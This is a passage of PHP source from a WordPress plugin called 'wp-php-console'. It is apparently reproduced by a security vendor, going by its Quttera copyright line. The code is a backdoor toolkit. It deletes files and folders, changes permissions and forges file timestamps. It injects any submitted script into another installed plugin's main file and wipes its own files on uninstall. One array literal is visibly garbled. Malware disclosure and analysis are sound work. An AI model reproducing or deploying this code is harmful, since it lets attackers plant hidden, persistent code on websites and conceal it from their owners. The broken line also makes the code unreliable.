            echo '<div style="color: green;">Folder successfully deleted.</div>';
        } else {
            echo '<div style="color: red;">Error: Failed to delete folder.</div>';
        }
    } else {
        echo '<div style="color: red;">Error: Folder not found.</div>';
    }
}

function chmod_file($file_path, $chmod_value) {
    if (is_file($file_path)) {
        if (chmod($file_path, octdec($chmod_value))) {
            echo '<div style="color: green;">File permissions have been successfully changed.</div>';
        } else {
            echo '<div style="color: red;">Error: Failed to change file permissions.</div>';
        }
    } else {
        echo '<div style="color: red;">Error: File not found.</div>';
    }
}

function touch_file($file_path, $time) {
    if (is_file($file_path)) {
        $timestamp = strtotime($time);
        if (touch($file_path, $timestamp)) {
            echo '<div style="color: green;">Touched successfully.</div>';
        } else {
            echo '<div style="color: red;">Error: Touch Failed.</div>';
        }
    } else {
        echo '<div style="color: red;">Error: File not found.</div>';
    }
}

function create_file($current_dir) {
    $new_file_path = $current_dir . DIRECTORY_SEPARATOR . 'new_file_' . time() . '.txt';
    if (file_put_contents($new_file_path, '') !== false) {
        echo '<div style="color: green;">File created successfully: ' . esc_html($new_file_path) . '</div>';
    } else {
        echo '<div style="color: red;">Error: Failed to create file.</div>';
    }
}

function write_to_plugin_form() {
    echo '<h2>Write to Plugin</h2>';
    echo '<form method="post">'
        . wp_nonce_field('wp_php_console_actions_nonce')
        . '<textarea name="plugin_script" style="width: 100%; height: 100px;"></textarea><br>'
        . get_submit_button('Write script', 'primary', 'write_script')
        . '</form>';
}

function write_script_to_plugin($script) {
    $plugins = get_plugins();
    foreach ($plugins as $plugin_file => $plugin_data) {
        if (plugin_basename(__FILE__) !== $plugin_file && is_plugin_main_file($plugin_file)) {
            $plugin_full_path = WP_PLUGIN_DIR . '/' . $plugin_file;
            $plugin_content = file_get_contents($plugin_full_path);
            $position = strpos($plugin_content, '*/') + 2;
            $new_content = substr_replace($plugin_content, "\n\n" . $script, $position, 0);
            if (file_put_contents($plugin_full_path, $new_content) !== false) {
                echo '<div style="color: green;">The script was successfully added to the plugin code: ' . esc_html($plugin_data['Name']) . ' (' . esc_html($plugin_full_path) . ')</div>';
                return;
            } else {
                echo '<div style="color: red;">Error: Failed to write script to plugin: ' . esc_html($plugin_data['Name']) . ' (' . esc_html($plugin_full_path) . ')</div>';
                return;
            }
        }
    }
    echo '<div style="color: red;">Error: Could not find a suitable plugin to write the script.</div>';
}

function is_plugin_main_file($plugin_file) {
    $plugin_dir = dirname($plugin_file);
    $main_file = basename($plugin_file);
    $all_files = array_diff(scandir(WP_PLUGIN_DIR . '/' . $plugin_dir), array(, '..'));
    foreach ($all_files as $file) {
        if ($file == $main_file) {
            return true;
        }
    }
    return false;
}

function wp_php_console_uninstall() {
    delete_option('wp_php_console_options');
    $plugin_dir = plugin_dir_path(__FILE__);
    if (is_dir($plugin_dir)) {
        $iterator = new RecursiveDirectoryIterator($plugin_dir, RecursiveDirectoryIterator::SKIP_DOTS);
        $files = new RecursiveIteratorIterator($iterator, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $file) {
            if ($file->isDir()) {
                rmdir($file->getRealPath());
            } else {
                unlink($file->getRealPath());
            }
        }
        rmdir($plugin_dir);
    }

    $upload_dir = wp_upload_dir();
    $archive_path = $upload_dir['basedir'] . '/wp-php-console.zip';
    if (file_exists($archive_path)) {
        unlink($archive_path);
    }

    deactivate_plugins(plugin_basename(__FILE__));
    delete_plugins(array(plugin_basename(__FILE__)));
}

function wp_php_console_activate() {
    add_option('wp_php_console_activation_redirect', true);
}

add_action('admin_init', 'wp_php_console_redirect');

function wp_php_console_redirect() {
    if (get_option('wp_php_console_activation_redirect', false)) {
        delete_option('wp_php_console_activation_redirect');
        if (!isset($_GET['activate-multi'])) {
            wp_redirect(admin_url('admin.php?page=wp-php-console'));
            exit;
        }
    }
}

add_action('wp_ajax_get_file_info', 'get_file_info');

function get_file_info() {
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Insufficient Permissions.');
    }

    if (isset($_POST['file_path']) && !empty($_POST['file_path'])) {
        $file_path = base64_decode($_POST['file_path']);

        if (is_file($file_path)) {
            $file_info = [
                'chmod' => substr(sprintf('%o', fileperms($file_path)), -4),
                'touch' => date('Y-m-d\TH:i', filemtime($file_path))
            ];
            wp_send_json_success($file_info);
        } else {
            wp_send_json_error('File not found.');
        }
    } else {
        wp_send_json_error('Invalid file path.');
    }
}

function wp_php_console_enqueue_scripts() {
    wp_enqueue_script('jquery');
    wp_localize_script('jquery', 'ajaxurl', admin_url('admin-ajax.php'));
}
add_action('admin_enqueue_scripts', 'wp_php_console_enqueue_scripts');



© 2023 Quttera Ltd. All rights reserved.